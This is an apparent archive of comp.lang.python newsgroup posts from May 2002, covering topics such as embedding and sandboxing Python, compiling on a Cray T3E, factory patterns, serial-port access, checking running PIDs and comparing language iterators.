yahoo.com Tue May 21 11:54:17 2002 From: coolslife at yahoo.com (coolslife) Date: 21 May 2002 08:54:17 -0700 Subject: Grep in Python Message-ID: hi, I tried looking for a "Grep" type utility module in jython/python. But I did not find any. Is there one available that can be used? I saw that lots of people have implemented their own version of grep and most have called it "pygrep". (Am I right about that?). Since this is a resource consuming activity, does anyone have any idea what might be a optimum way to implement this? thanx, Chhaya. From blokeatiidotnet Sat May 18 09:45:20 2002 From: blokeatiidotnet (Rob Hall) Date: Sat, 18 May 2002 21:45:20 +0800 Subject: jython Message-ID: <3ce65aeb$0$1296@echo-01.iinet.net.au> Anyone know if there's any (easy) tweaks to make idle work with jython files? Rob From sholden at holdenweb.com Sun May 19 15:07:36 2002 From: sholden at holdenweb.com (Steve Holden) Date: Sun, 19 May 2002 15:07:36 -0400 Subject: OT: Crazy Programming References: <23891c90.0205130956.6f0436a0@posting.google.com> <23891c90.0205160610.2f7f22c0@posting.google.com> Message-ID: "Jacob Hall?n" wrote ... > In article <23891c90.0205160610.2f7f22c0 at posting.google.com>, > Paul Boddie wrote: > >I can understand people believing that the expression of concepts > >through a written language can be regarded as literature, but > >programming languages are somewhat different from natural languages, > >and it is certainly dubious to want to replicate certain parts of > >natural languages in computer languages. "Sorry your program didn't do > >what was expected of it - there's some use of double-entendre in the > >code, which I thought would make the program much more amusing to > >read." > > The baroque went out of fashion over 200 years ago. Art is not merely > decorative and for amusement. > This hasn't stopped some pretty baroque architectures being designed for software systems. In my experience, the more baroque the architecture the less experienced the designer (which is why I sometimes disparagingly refer to microsoft systems as being written by recent graduates. We all have to learn somehow ;-) regards Steve -- ----------------------------------------------------------------------- Steve Holden http://www.holdenweb.com/ Python Web Programming http://pydish.holdenweb.com/pwp/ ----------------------------------------------------------------------- From tundra at tundraware.com Fri May 17 23:00:02 2002 From: tundra at tundraware.com (Tim Daneliuk) Date: Sat, 18 May 2002 03:00:02 GMT Subject: Python w/Forth Runtime???? References: <3CE5AFD3.32D59F@tundraware.com> Message-ID: <3CE5C208.5F41AD8A@tundraware.com> Gerhard H?ring wrote: > > Tim Daneliuk wrote in comp.lang.python: > > Python does just what needs doing ... see the end of this piece for why: > > > > http://www.tundraware.com/Technology/Bullet/ > > What's the connection with the Subject of your posting? > At the end of the piece I suggest that a "ideal" language would be one which has the paradigmatic richness of Python but whose runtime execution environment was reaslized in something very sleek and light like Forth. The overal article is about the dangers of locking into a single programming paradigm (like OO) for everything and that real world problems require multiple *simultaneous* paradigms for reasonable solutions. I think Python is almost alone in trying to incroporate that very idea in the language. -- ------------------------------------------------------------------------------ Tim Daneliuk tundra at tundraware.com From anangia at mailcity.com Sat May 25 22:41:14 2002 From: anangia at mailcity.com (SneakerNet) Date: Sun, 26 May 2002 14:41:14 +1200 Subject: RS232 + python... References: Message-ID: <8WXH8.3184$EZ5.422963@news.xtra.co.nz> Heya Chris Thanks for the site. I downloaded the win32all patch and it's working fine now thanks a million bu bye ;o) "Chris Liechti" wrote in message news:Xns9219EEBA1CDEcliechtigmxnet at 62.2.16.82... > "SneakerNet" wrote in > news:P7TH8.2973$EZ5.415135 at news.xtra.co.nz: > > ImportError: No module named win32file > > win32all: http://starship.python.net/crew/mhammond/ > > chris > > -- > Chris > From timr at probo.com Tue May 14 00:59:40 2002 From: timr at probo.com (Tim Roberts) Date: Mon, 13 May 2002 21:59:40 -0700 Subject: Simple question about how the optimizer works References: <83u1pbicuf.fsf@panacea.canonical.org> Message-ID: Kragen Sitaker wrote: >Simon Brunning writes: >> I can't see how this optimisation could be automated - function f may or may >> not have side effects. > >Checking whether f has side effects can be automated. Can it? Isn't that a variant of the Turing stopping problem? -- - Tim Roberts, timr at probo.com Providenza & Boekelheide, Inc. From loewis at informatik.hu-berlin.de Thu May 30 10:29:07 2002 From: loewis at informatik.hu-berlin.de (Martin v. =?iso-8859-1?q?L=F6wis?=) Date: 30 May 2002 16:29:07 +0200 Subject: Embedding and threads ? References: Message-ID: Bo Lorentsen writes: > > No. Even if you manage to separate the interpreters, you will still > > get a single copy of the global variables. > Hmm, how about this when you are using the PyEval_EvalCode ? One of its > parameters is a global dict. Is this not separated 100 % from others ? No. The code object has a link to the builtins, and the sys module (and thus sys.modules) is a singleton, as well. So if the code performs import string string.secret_channel = "data" then this assignment will survive PyEval_EvalCode invocations. See Include/pystate.h for part of the state that is passed implicitly into PyEval_EvalCode. > This I need to be able to swap the Python thread state, and its related > interpreter, in a thread safe way ? For me it look like we would like an > extended API taking the PyInterpreter as first parameter (this pointer > :-), as the code in PyEval_EvalCode more or less do this by fetching the > "globaly set" PyInterpreter (ThreadState). Just assume that the interpreter is a singleton; having multiple interpreters might not work. > What do you mean by a "rexec sandbox" ? http://www.python.org/doc/lib/module-rexec.html > How do I "disable dynamic loading" ? You need to edit pyconfig.h to not set HAVE_DYNAMIC_LOADING, then recompile > Is it possible to have some kind of module import callback, where I > can decide what to allow and what not to. That is currently not supported. : I like to permit the user to use math, re and others, but he must > not be able to open files, sockets, databases etc. If you disable dynamic loading, and provide an appropriate config.c, then you get a limitation to math, re, and others for free. Preventing code from doing open() is not so trivial; you need to provide a custom __builtins__ module - you could do that by editing the Python interpreter code, by deleting things from __builtins__ at run-time, or by using rexec. > Will it be possible to totally disable these ? Depends on what you mean by "disable". If you want that writing to stdout has no effect: that is certainly possible. Just put in a file-like object whose .write method is a no-op. > And where will "print" in this case send its default output ? print will always use sys.stdout, so that will be a no-op as well (the arguments to the print will still be evaluated). > What is GIL ? The Global Interpreter Lock. > Another thing. While using the "Py_CompileString", it has the third > parameter, that I can't find much information about. This controls the start symbol of the parsing. It is eval_input, file_input, or single_input, and relates to the non-terminals in Grammar/Grammar with the same names. If that is not clear, you need to understand the notion of a start symbol in a grammar first. Regards, Martin From dalke at dalkescientific.com Fri May 10 00:55:06 2002 From: dalke at dalkescientific.com (Andrew Dalke) Date: Thu, 9 May 2002 22:55:06 -0600 Subject: Building Python on Cray T3E References: Message-ID: Mark Hadfield: >...I ran configure with "--enable-unicode=ucs4". But make stops with >the following error: ... > CC-147 cc: ERROR File = ./Modules/_sre.c, Line = 1791 > Declaration is incompatible with "int join(char *, char *)" > (declared at line 300 of "/usr/include/unistd.h"). > > join(PyObject* list, PyObject* pattern) > ^ > > Total errors detected in ./Modules/_sre.c: 1 Not worked on a T3E, but what this is saying is that 'unistd.h' declares a functions called 'join' and _sre.c defines a function called 'join'. _sre's join is only used in that file and it's static, so you can rename it easily if you want. Change _sre.c (line 1791 in 2.2.1) so the function "join" is now "srejoin" as in static PyObject* join(PyObject* list, PyObject* pattern) { /* join list elements */ --to-- static PyObject* srejoin(PyObject* list, PyObject* pattern) { /* join list elements */ This function is called from one place (that I can find) so you'll also need to change line 2244 the same way, from /* convert list to single string (also removes list) */ item = join(list, self->pattern); --to-- /* convert list to single string (also removes list) */ item = srejoin(list, self->pattern); Andrew dalke at dalkescientific.com From edcjones at erols.com Wed May 1 01:07:28 2002 From: edcjones at erols.com (Edward C. Jones) Date: Wed, 01 May 2002 01:07:28 -0400 Subject: Python buglet: Incorrect error message for float([0]) Message-ID: <3CCF7810.5000608@erols.com> This line of Python (2.2): x = float([0]) gives the error: TypeError: float() needs a string argument But since "float(0)" is OK, a better error message might be: TypeError: the argument of float() must be a string or a number From tdelaney at avaya.com Mon May 27 01:48:16 2002 From: tdelaney at avaya.com (Delaney, Timothy) Date: Mon, 27 May 2002 15:48:16 +1000 Subject: Derived class problem Message-ID: > From: kern at taliesen.caltech.edu [mailto:kern at taliesen.caltech.edu] > > In article , > Geiger Ho writes: > > Hi all, > > > > Consider, > > > > class A: > > def method1(self): > > ... > > child = A() > > ... > > > > class B(A): > > pass > > > > > > When I call B.method1(), I will create an A child. But > this is not I > > intend to do. I wanna create a B child. Can anyone tell me how I can > > modify? I don't want to override method1 as this is a > pretty big code. > > Try > > class A: > def method1(self): > child = self.__class__() > > class B(A): > pass The above is good, but doesn't take into account that B may need parameters passed to its initialiser. Another approach is to use the Template Method pattern. class A: def method1 (self): ... child = _createChild() # Template method, _ to indicate that it is "protected" ... def _createChild (self): return A() class B (A): def _createChild (self): return B(1, 2, 3) A further approach is to use a full-blown factory ... Each approach has different advantages and tradeoffs (a full-blown factory for example could have arbitrary things registered for creation, but requires more code). In fact, the self.__class__() approach is effectively using a built-in factory. For your purposes, I would suggest either the self.__class__() approach (if you don't need parameters passed to your initialisers, or they all have the same parameters) or use a template method. Tim Delaney From phd at phd.pp.ru Sun May 26 01:40:51 2002 From: phd at phd.pp.ru (Oleg Broytmann) Date: Sun, 26 May 2002 09:40:51 +0400 Subject: Meta: Shibboleth (was: RE: Off Topic, But List Related) In-Reply-To: <15600.17892.700132.228562@rowlf.interhack.net>; from cmcurtin@interhack.net on Sat, May 25, 2002 at 10:18:12PM -0400 References: <007101c20458$335f1e20$388e7aa5@adirondacker> <15600.17892.700132.228562@rowlf.interhack.net> Message-ID: <20020526094051.F7355@phd.pp.ru> On Sat, May 25, 2002 at 10:18:12PM -0400, Matt Curtin wrote: > Shibboleth performs a series of tests to detect whether a message has > come from an "insider" (someone legitimately subscribed to one of the > lists). In Python community it would be hard to enforce, as there is mail<=>news gateway, and those who have created the policiy don't want to put additional burden of subscribing for the news users. To some extent I agree with the policy; Shibboleth's policy "subscriber only" prevents you being spmmed by putting additionl burden to other users. Oleg. -- Oleg Broytmann http://phd.pp.ru/ phd at phd.pp.ru Programmers don't die, they just GOSUB without RETURN. From eric.brunel at pragmadev.com Thu May 16 05:41:46 2002 From: eric.brunel at pragmadev.com (Eric Brunel) Date: Thu, 16 May 2002 09:41:46 +0000 Subject: Beginner question References: Message-ID: Mats Holmberg wrote: > Hi > > I'd mainly like to use python for scripting within Blender. How do I use > the math module? this is an example of what I've tried: > >>>>import math >>>>cos(10) > Traceback (most recent call last): > File "", line 1, in ? > cos(10) > NameError: name 'cos' is not defined Please (re)read carefully the beginning of chapter 6 ("Modules") of the Python tutorial (http://www.python.org/doc/current/tut/tut.html) and your mistake should be quite obvious... HTH! -- - Eric Brunel - PragmaDev : Real Time Software Development Tools - http://www.pragmadev.com From larooy at xtar.co.nz Fri May 10 21:24:26 2002 From: larooy at xtar.co.nz (John La Rooy) Date: Sat, 11 May 2002 13:24:26 +1200 Subject: How do I check if a pid is running? References: Message-ID: <20020511132426.69ead1b5.larooy@xtar.co.nz> os.kill(PID,0) throws an exception if the pid isn't running OSError: [Errno 3] No such process or isn't yours OSError: [Errno 1] Operation not permitted John On Fri, 10 May 2002 14:08:42 +0100 "moray.grieve" wrote: > You could do a system call on unix to get a list of all pids belonging to > yourself i.e. > > lines = os.popen( "ps -u %s -o pid,comm"%(getpass.getuser()) ).readlines() > pids = [] > for line in lines: > pids.append(string.atoi(string.split(line)[0])) > > > You could then search through the list to see if the pid you are interested > is in there. I use this approach on both Solaris and Red Hat. > > Cheers, > Moray Grieve > > > From gerhard at bigfoot.de Thu May 16 07:37:43 2002 From: gerhard at bigfoot.de (Gerhard =?iso-8859-15?Q?H=E4ring?=) Date: 16 May 2002 11:37:43 GMT Subject: Email module References: Message-ID: In article , Bragi Baldursson wrote: > How do I create a message that contains both text and attachemnts. > In the example given on the module page it shows how to create a > message with a bunch of photos in it. I would like to additionally be > able to add some text to the message body. Just add a text/plain part. Gerhard From aleax at aleax.it Mon May 13 04:28:01 2002 From: aleax at aleax.it (Alex Martelli) Date: Mon, 13 May 2002 08:28:01 GMT Subject: Result of I need your experience - classification and comparison of languages References: <20020508200439966+0100@pc-62-30-160-65-hw.blueyonder.co.uk> <3CDF6D3E.1090609@hmg.inpg.fr> Message-ID: Gabriel Moreau wrote: > I don't understand why Effeil is more safe than Sather because Effeil > use covariance (not safe) and Sather contravariance (safe). Sather is indeed safer, although covariance (admittedly unsafe!) is sometimes quite handy indeed. > One really nice features in Sather is Iterator you don't find in any > other languages. You can find iterator in Ruby but they are not as nice > as in Sather. Iterator are a very safe features because loop are clean > and many bug comes from loop. Sather iterators are indeed awesome and I highly recommend everybody to study them, see: http://www.icsi.berkeley.edu/~sather/Publications/toplas.html Ruby's iterators are Smalltalk-like and thus "inside-out" with respect to Sather's. The paper you can download from the above URL presents a fair comparison (since Ruby's iterators are basically what the paper calls closures/blocks) and, I think, shows the superiority of Sather's approach. Traversing more than one structure at a time is easy for Sather, not for Ruby. Python's iterators are far closer to Sather's -- some minor details, such as the fact that to get the next item from a Python iterator you call .next() on it (or use it in the headclause of a for statement), while a Sather iterator gives its next value whenever you use it within a loop statement, are little more than syntax sugar (Sather's sugar is nicer, Python's way simpler to retrofit into an existing language;-). Sather's iterators are _way_ more powerful than Python's because Sather's can accept both "hot" arguments (evaluated anew each time the iterator is called) and "once" ones (evaluated only at the first call on the iterator). The flip side of this is a sentence in Sather's paper that's a fair assessment: [Sather] "iterators are a powerful construct and it is possible to write obscure and hard to understand code using them". Python's are less powerful, but they don't really present any mystery nor are they particularly prone to producing obscure and hard to understand code. All in all, if a totally new language was being designed I think I'd go for something closer to Sather's iterators rather than Python's, but its a delicate judgment -- the tradeoff between maximal power and potential elegance vs potential obscurity and lack of clarity is a crucial and difficult one. GvR, Python's architect, has a great track record in getting most such tradeoffs "just about right" (even though in the case of iterators and generators he was of course constrained by backwards compatibility, since they were being retrofitted into an existing language!). Alex From achim.domma at syynx.de Mon May 27 12:45:27 2002 From: achim.domma at syynx.de (Achim Domma) Date: Mon, 27 May 2002 18:45:27 +0200 Subject: Passing complex numbers into C++ References: <2830c89c.0205270828.ea3406@posting.google.com> Message-ID: Hi, do you know boost.python ? (www.boost.org) Achim "Andrew Gregory" wrote in message news:2830c89c.0205270828.ea3406 at posting.google.com... > I am trying to produce a bit of code to illustrate how complex numbers > can be passed to / from C++ (BCC5.5). I'm new to this, and finding it > hard going. The following bit of code compiles to complx.pyd - which > imports into python ok, but if I use the csqr() function it causes a > crash. If anyone can tell me why I would be grateful, > Andrew. > > / Example hand-coded C++ interface to Python > > #include > #include > typedef complex dcomplex; > > > // **** Function (illustrative) **** > > Py_complex csqr(Py_complex r) > { > static Py_complex P; > dcomplex t = dcomplex(r.real, r.imag); > t = t*t; > P.real = real(t); > P.imag = imag(t); > return P; > }; > > > // **** Wrapper **** > PyObject *wrap_csqr(PyObject *self, PyObject *args) > { > Py_complex r, result; > // r = new Py_complex; > if (!PyArg_ParseTuple(args,"D:csqr", &r)) return NULL; > //result = r; > return Py_BuildValue("D",&r); > }; > > > static PyMethodDef exampleMethods[] = > { > { "csqr", wrap_csqr, 1 }, {NULL, NULL} > }; > > > // Must use this for C++ > #ifdef __cplusplus > extern "C" { > #endif > > void initcomplx() > { > PyObject *m; > m = Py_InitModule("complx",exampleMethods); > }; > > #ifdef __cplusplus > } > #endif From johnroth at ameritech.net Sat May 11 07:50:28 2002 From: johnroth at ameritech.net (John Roth) Date: Sat, 11 May 2002 07:50:28 -0400 Subject: Multibyte Character Surport for Python References: Message-ID: "Neil Hodgson" wrote in message news:dQZC8.115171$o66.340113 at news-server.bigpond.net.au... > John Roth: > > > 2. All identifiers MUST be expressed in the character set of > > a single language (treating the various latin derived languages > > as one for simplicity.) That doesn't mean that only one language > > can be used for a module, only that a particular identifer must make > > lexical sense in a specific language. > > Do you have a reason for this restriction? I see there being reasons for > using identifiers made from non-Roman (such as Japanese) and Roman letters > when applying naming conventions or when basing names on external entities > such as database identifiers. Say I have a database with a column called > [JapaneseWord] and want derived entities in a (possibly automatically > generated) form such as txt[JapaneseWord] and verified[JapaneseWord]. > > In mathematical English code I would quite like to use greek letters for > pi and sigma and so forth to make the code more similar to how I'd document > it. Some good points. I was mostly attempting to provide a safety net to reduce the possibility of unreadable code. John Roth > > Neil > > > From Katharina.Pergens at dlr.de Wed May 15 15:45:22 2002 From: Katharina.Pergens at dlr.de (Katharina.Pergens at dlr.de) Date: Wed, 15 May 2002 21:45:22 +0200 Subject: Merging contents of two files References: <3CE26265.54F83CAB@dlr.de> Message-ID: <3CE2BAD2.D7094091@dlr.de> Sorry sending a html file. Once again. So what I have is a text file (.txt) like the following: Abbreviation Explanation File Line ------------ ----------- ---- ---- xyz comment for class /home/de/abc.java 13 ... ... ... ... The txt file contains of several lines and rows. The rows are seperated by tabs. The source file (mentioned as row 'File' in txt file) are java files. I search for firstname.secondname in the header: * Created: dd/mm/yyyy firstname.secondname How to write the script. Thanks for your help!! From ludovic_nospam_ at fotin.net Sat May 11 07:34:19 2002 From: ludovic_nospam_ at fotin.net (Ludovic Fotin) Date: Sat, 11 May 2002 13:34:19 +0200 Subject: Make a executable Message-ID: Hi I'm a newbie in the Python's world and I realise this language is very powerful and simple I would know if it's possible to make an executable to use it on a computer without Python installed I don't find compilators On whatever OS (Win32 or Linux). Thansk for answers... Ludo From aahz at pythoncraft.com Sun May 19 15:00:11 2002 From: aahz at pythoncraft.com (Aahz) Date: 19 May 2002 15:00:11 -0400 Subject: shutil rant References: Message-ID: In article , Bjorn Pettersen wrote: > From: Aahz [mailto:aahz at pythoncraft.com] >> >> Well, yes. The problem is that win32all is not part of the >> core Python distribution, so none of the core library >> features can rely on it. :-( > >The Macintosh port seem to have full support for the Mac interfaces, so >isn't it about time the windows port got up to par? Sure! You willing to commit the time to making win32all part of the core? -- Aahz (aahz at pythoncraft.com) <*> http://www.pythoncraft.com/ "In the end, outside of spy agencies, people are far too trusting and willing to help." --Ira Winkler From starx at pacbell.net Sat May 4 22:20:18 2002 From: starx at pacbell.net (Philip Swartzleonard) Date: 5 May 2002 02:20:18 GMT Subject: Interactive interpreter in embedded Python References: Message-ID: Bjarke Dahl Ebert || Sat 04 May 2002 06:05:47a: > Hello, > > When you write a Python extension in C(++), it is very easy to play > with it from the shell. Just open an interactive interpreter and > import the extension module. > > But what if you have an application embedding a Python interpreter? > Then it would also be nice, at least during development, to be able to > get a "Python prompt" to play with functions exported from the > application, etc. > > So, after calling Py_Initialize and initializing my Python extensions, > what is the easiest way to open a Python Shell in a window? > I'm programming in Win32. Either IDLE or PythonWin would be fine. > > If the C application is (natively) graphical, will I get problems with > IDLE/PythonWin interfering with the message handling loop of the > application? Library reference section 16.5 is about idle, but i don't know if that will do you any good. You might have to build your own interperter window; the backend for doing this is in 3.22 (code, intrperter objects). I'd suggest looking at the IDLE sources, or pyCrust (wxpython interperter window thing designed for imbedding), and seeing if you can rip something useful =) -- Philip Sw "Starweaver" [rasx] :: www.rubydragon.com From aleax at aleax.it Mon May 6 04:07:10 2002 From: aleax at aleax.it (Alex Martelli) Date: Mon, 06 May 2002 08:07:10 GMT Subject: making python scripts backwards compatible References: <13285ea2.0205041128.51eda313@posting.google.com> <13285ea2.0205051437.497d183@posting.google.com> Message-ID: J.Jacob wrote: ... > [Martin v. L?wis] >> The net result is that PyXML 0.8 will not support Python 1.5.2 >> anymore, and that Redhat therefore won't incorporate PyXML 0.8 in any >> of the Redhat 7.x releases. > > Those damn companies :) Wish there was a petition list or something > so we can do something about the Red Hat policy. We can, it's called "voring with your wallet" -- I've migrated to Mandrake and I'm pretty happy with it (Mandrake 8.2 includes Python 2.2:-). Of course, it may help to make RedHat know about one's motivations for such choices. Alex From greg at cosc.canterbury.ac.nz Thu May 9 23:05:47 2002 From: greg at cosc.canterbury.ac.nz (Greg Ewing) Date: Fri, 10 May 2002 15:05:47 +1200 Subject: Stackless python + official python ? References: <3CDA819B.1040308@destiny.com> Message-ID: <3CDB390B.4E8A2A96@cosc.canterbury.ac.nz> Christian Tismer wrote: > > What gave mea six week procrustination was the fact ^^^^^^^^^^^^^^^ What an amazingly good word! I wonder what it means -- Procrustean procrastination? -- Greg Ewing, Computer Science Dept, University of Canterbury, Christchurch, New Zealand To get my email address, please visit my web page: http://www.cosc.canterbury.ac.nz/~greg From runyaga at noeggsorspam.runyaga.com Fri May 17 15:16:55 2002 From: runyaga at noeggsorspam.runyaga.com (Alan Runyan) Date: Fri, 17 May 2002 19:16:55 GMT Subject: Python Cookbook from Oreilly??? References: Message-ID: > Hopefull the readership will be as well. We will. I am convinced this book and standard lib will bring thousands of new programmers to Python. Most people are too lazy and/or busy to learn from start to finish. They want to open up a tome of recipes, grab the recipe that closely resembles their problem at hand and munge it into a working solution. What I think is so great about Python is -- people will be able to do this with unprecedented ease! After a few recipe experiments people will have an intuitive feel for the language. Thanks to all people who pen Python articles, editorials and books. You all are invaluable. ~runyaga From chrisl_ak at hotmail.com Thu May 9 21:16:31 2002 From: chrisl_ak at hotmail.com (Chris) Date: Fri, 10 May 2002 01:16:31 -0000 Subject: Python stagnating? References: Message-ID: on 09 May 2002, aahz at pythoncraft.com (Aahz) spake thusly: > In article , > Chris wrote: >> >>What would be really nice is an easily searchable, online manual. As a >>user I really like the approach taken by the PHP manual, which >>integrates easy searching, an auto search on the URL, and user >>comments all in one place. Time to start digging around! > > There are two links on the Python docs page to search engines for the > Python docs. I don't see those links, but I have found pydoc.org before.. but the user comments can be viewed where? And I can get to it with a url string how? And the downloadable PDF and HTML versions are where? I'm guessing at that last one, but like I said-- I really like the approach taken by the PHP folks for their online docs, it has been impressive to watch it change to match the needs of users. Their layout is very slick and much more navigable than the Python docs, which take the standard Linuxdoc and LaTeX2HTML style approach that is OK, but much more time consuming. It's just a comment, nothing to get worked up about :) The ActiveState Python has a windows help file that is convenient. From phr-n2002a at nightsong.com Sun May 12 19:25:34 2002 From: phr-n2002a at nightsong.com (Paul Rubin) Date: 12 May 2002 16:25:34 -0700 Subject: Zaurus and Python, a good combination References: <3CDEE799.5030306@earthlink.net> <1gCD8.50351$zW3.677145@news1.tin.it> Message-ID: <7xk7q9c5jl.fsf@ruckus.brouhaha.com> You can buy the developers version on ebay for 300 usd or so. From cliechti at gmx.net Mon May 13 15:08:12 2002 From: cliechti at gmx.net (Chris Liechti) Date: 13 May 2002 21:08:12 +0200 Subject: #ifdef like question. References: Message-ID: "Roman Yakovenko" wrote in news:mailman.1021311894.5989.python-list at python.org: > Hi. I have 2 different implementation of the same class \ function. > I'd like to use implementation according to some future existence. > (For example generators). > How can I choose between 2 implementations in run time( not in install > time )? such thing are called factories. e.g. you could define a function which returns an implementation depending on its args. def factory(x): if x: return Class1() else: return Class2() >>> obj = factory(1) you can also return the class objects and instantiate later, whatever chris PS: you don't need to post in HTML also ASCII is just fine... -- Chris From cliechti at gmx.net Fri May 10 16:24:52 2002 From: cliechti at gmx.net (Chris Liechti) Date: 10 May 2002 22:24:52 +0200 Subject: accessing serial/parallel port from Python References: Message-ID: "Nick Evans" wrote in news:abh249$kh4$1 at knossos.btinternet.com: > Hello group, > > Could anyone tell me if it is possable to access the > Physical ports of a computer from python. I have a few electronic > projects that i originally wrote programes in QBasic to access them, > but i would like to start using python. i work with embedded stuff too and therefore i made pyserial: http://pyserial.sf.net for the parallel port there isn't yet a lib so you have to come up with platform specific scripts. google might be able to find some code snippets for a start. right now i had no need for a parallel lib but thats likely to change in the near future (for JTAG interface). if you can be patioent... chris -- Chris From mertz at gnosis.cx Wed May 8 20:18:26 2002 From: mertz at gnosis.cx (Lulu of the Lotus-Eaters) Date: Wed, 08 May 2002 20:18:26 -0400 Subject: comparing lists References: Message-ID: |[Paul Magwene] |> If you know you're dealing with lists of strings why don't you use the |> "join" methods in the string module. "Mark McEahern" wrote previously: |Thanks. I hadn't thought of that. Sadly, it won't work for me because as I |said my comparison is order-insensitive whereas your approach is |order-sensitive. You can always sort the lists before joining them. Or sort copies if you need to leave the originals as-s. I.e. ltmp = copy.copy(lst) ltmp.sort() ... There was a flaw, however, with Magwene's suggestion. Once you join the items, you lose some information about what was where originally. For example: l1 = ['ab ','c',' d'] l2 = ['ab',' c ','d'] l3 = ['ab c d'] These will all compare as equal. What you probably want to do is add a delimiter between the elements that you are pretty sure will not occur in the original strings, e.g.: >>> string.join(['a','b','c'],'$%^').upper() 'A$%^B$%^C' or, >>> '|-|'.join(['a','b','c']).upper() 'A|-|B|-|C' -- ---[ to our friends at TLAs (spread the word) ]-------------------------- Echelon North Korea Nazi cracking spy smuggle Columbia fissionable Stego White Water strategic Clinton Delta Force militia TEMPEST Libya Mossad ---[ Postmodern Enterprises ]-------------------------- From shalehperry at attbi.com Fri May 10 15:49:41 2002 From: shalehperry at attbi.com (Sean 'Shaleh' Perry) Date: Fri, 10 May 2002 12:49:41 -0700 (PDT) Subject: Is there such a beast as a "perfect" shuffle? :) In-Reply-To: Message-ID: >> >> I seem to remember reading an article linked off of slashdot where they go > into >> the dynamics of shuffling cards and how to ensure a full spread of >> possibilities. >> >> There may or may not be a site talking about this in the context of > python, but >> anything they say should be relevant. >> > > Slashdot!?!? Relevant!?!?! > > That's expecting a bit much, surely... > > those-people-have-no-life-beyond-"first-post!"-ly y'rs - steve "they say should be relevant" was referring to the articl I read. Tim may have posted the URL I was thinking of. Yes, the people who comment on slashdot are occasionally off base, not thinking straight, young, etc. But the actual articles mentioned and linked to are usually worth reading. From miracle at paradise.net.nz Thu May 2 17:13:30 2002 From: miracle at paradise.net.nz (Matthew Sherborne) Date: Fri, 3 May 2002 09:13:30 +1200 Subject: Low level python Message-ID: <4_hA8.4181$lA2.420467@news.xtra.co.nz> I've been thinking of writing a device driver in python. Some people say this is ridiculous. I used psyco to improve the speed, and now have a program that does the device driver's job (a proprietry touchscreen driver) in user mode. Now, I have no idea how to make the python exe or dll run in kernel mode. I wonder if there are some special api calls that need to made. I'm downloading WinDriver. I hope this can help me. Does anyone not think this is a crazy thing to do? Why not use python for a device driver? I just see it as python dll is the driver, and the .py file are like permanent configuration file for it. Comments Appreciated Matthew Sherborne From chrisl_ak at hotmail.com Thu May 9 13:42:28 2002 From: chrisl_ak at hotmail.com (Chris) Date: 9 May 2002 10:42:28 -0700 Subject: Python stagnating? Message-ID: What is the status of Python development? Or the supporting organization? I notice a lot of links in the FAQ and other documents are outdated/broken, and surfing the web I saw a lot of references to the "Python Starship" but it looks like it hasn't been updated in a few years... From zweistein at net.hr Sat May 11 14:00:35 2002 From: zweistein at net.hr (zweistein) Date: Sat, 11 May 2002 20:00:35 +0200 Subject: searching files References: Message-ID: "Chris Liechti" wrote in message news:Xns920BB71141B16cliechtigmxnet at 62.2.16.82... > please provide more information about your data structure and what exactly > you want to search (names, numbers etc) and you will get more useful > feedback from this group. Well, I am storing every entry in a file. It stores only the name and the telephone number, and is tab delimited (name surname [TAB] tel.). I am trying to write a function to which a searchstring would be passed which would look into the entire file and show the entry that matches. I would like it to search both names and tel. numbers. Thank you, once again. From see at below Tue May 7 22:03:43 2002 From: see at below (Paul Foley) Date: 08 May 2002 14:03:43 +1200 Subject: Theoretical question about Lambda References: <3CD0DCD6.4050403@vip.fi> Message-ID: On Tue, 7 May 2002 08:25:21 -0400, Steve Holden wrote: > "Paul Foley" wrote in message > news:m2y9ewu4fe.fsf at mycroft.actrix.gen.nz... >> def test(): >> print x >> x = 42 >> >> raises an error because the (empty, error-causing) binding for x is >> already in force when the "print" statement executes, before the "=" >> is even reached. >> > So, it appears that you think binding is the implicit declaration assoicated > with assignment to a name inside a particular scope? If so, it would seem Binding is the association between a name and a chunk of memory which is used to store a PyObject pointer, if you insist on looking at it that way. Assignment is just changing the value stored there. [This is the same meaning of "assignment" as in any other language; Lisp, C, whatever; there's nothing particularly unusual about Python!] > Consider namespaces as dictionaries. I *know* they aren't all implemented as > dictionaries, but bear with me. > You seem to be insisting that an operation is only a "binding" when the key > (name) does not already exist in the dictionary (namespace). If the > dictionary (namespace) already contains the key (name) then it's not a > rebinding, it's an "assignment". Well, of course -- because you don't add new names to that dictionary during the life of your code; you make a new dictionary when you make a new binding! If a name doesn't exist in one dictionary, you have to look it up in the next-outermost dictionary (either the module dict or whatever scope the current one is nested in, depending on whether or not you have nested_scopes turned on), and so on. If a particular name isn't in any of those dictionaries, there's no binding for it; if it is present, changing the value associated with it would be assignment [but Python won't let you assign into any but the outermost (i.e., current) dictionary; instead, it automatically creates a new dictionary (binding)] -- You don't have to agree with me; you can be wrong if you want. (setq reply-to (concatenate 'string "Paul Foley " "")) From cliechti at gmx.net Thu May 23 17:58:52 2002 From: cliechti at gmx.net (Chris Liechti) Date: 23 May 2002 23:58:52 +0200 Subject: property question References: Message-ID: Markus Jais wrote in news:acjnug$q6c68$1 at ID-75083.news.dfncis.de: > hello > > Just started playing with python 2.2 and the new features. > Now I have a question on properties: > > class Address(object): > > def __init__(self): > self.firstname = "" > self.lastname = "" > self.email = "" > > def set_email(self, email): > print "in set email" > self.email = email > > def get_email(self): > print "in get mail" > return "<" + self.email + ">" > > email = property(get_email, set_email, None, 'Setting the > email adress') > > if __name__ == '__main__': > print "testing" > > a = Address() > a.firstname = "gandalf" > a.email = "wizard at middle-earth.com" > print a.firstname > print a.email > > > I get an endless recustion because I refer to self.email in the get_ > and set_ method > > how can I set the value of self.email and how can I return a modified > version in the get method?? i think the usual way is to store the value in a variable with preceeding underlines ("self._email" or two underlines if you want a private attribute) > I thought with properties there are no more endless recursion > maybe I just do not understand but I do not see an advantage right now > over __getattr__ and __setattr__ and __dict__ the advantage is that you can convert an data attribute later to execute code through the getter/setter. you can do this per attribute, easier than to mess with __getattr__ etc. which might be used for other things and needs the __dict__ trick in __init__ > please help me to understand the new stuff. > is there something in the online documentation?? I couldn't find > anythong about properties i think there is an example in the "what's new" document of 2.2 which you find on python.org under the 2.2 releases&docs chris -- Chris From gusraan at terra.com.br Sun May 12 15:07:00 2002 From: gusraan at terra.com.br (Raphael Ribeiro) Date: 12 May 2002 12:07:00 -0700 Subject: Core Python Programming Message-ID: <337619fa.0205121107.19594329@posting.google.com> Anyone , can tell me anything about this book? I heard it is very good ,but it was released in 2000 , and if i buy it will i have difficulties with other features in the language, that were released after 2.000? From mhammond at skippinet.com.au Tue May 21 02:56:18 2002 From: mhammond at skippinet.com.au (Mark Hammond) Date: Tue, 21 May 2002 06:56:18 GMT 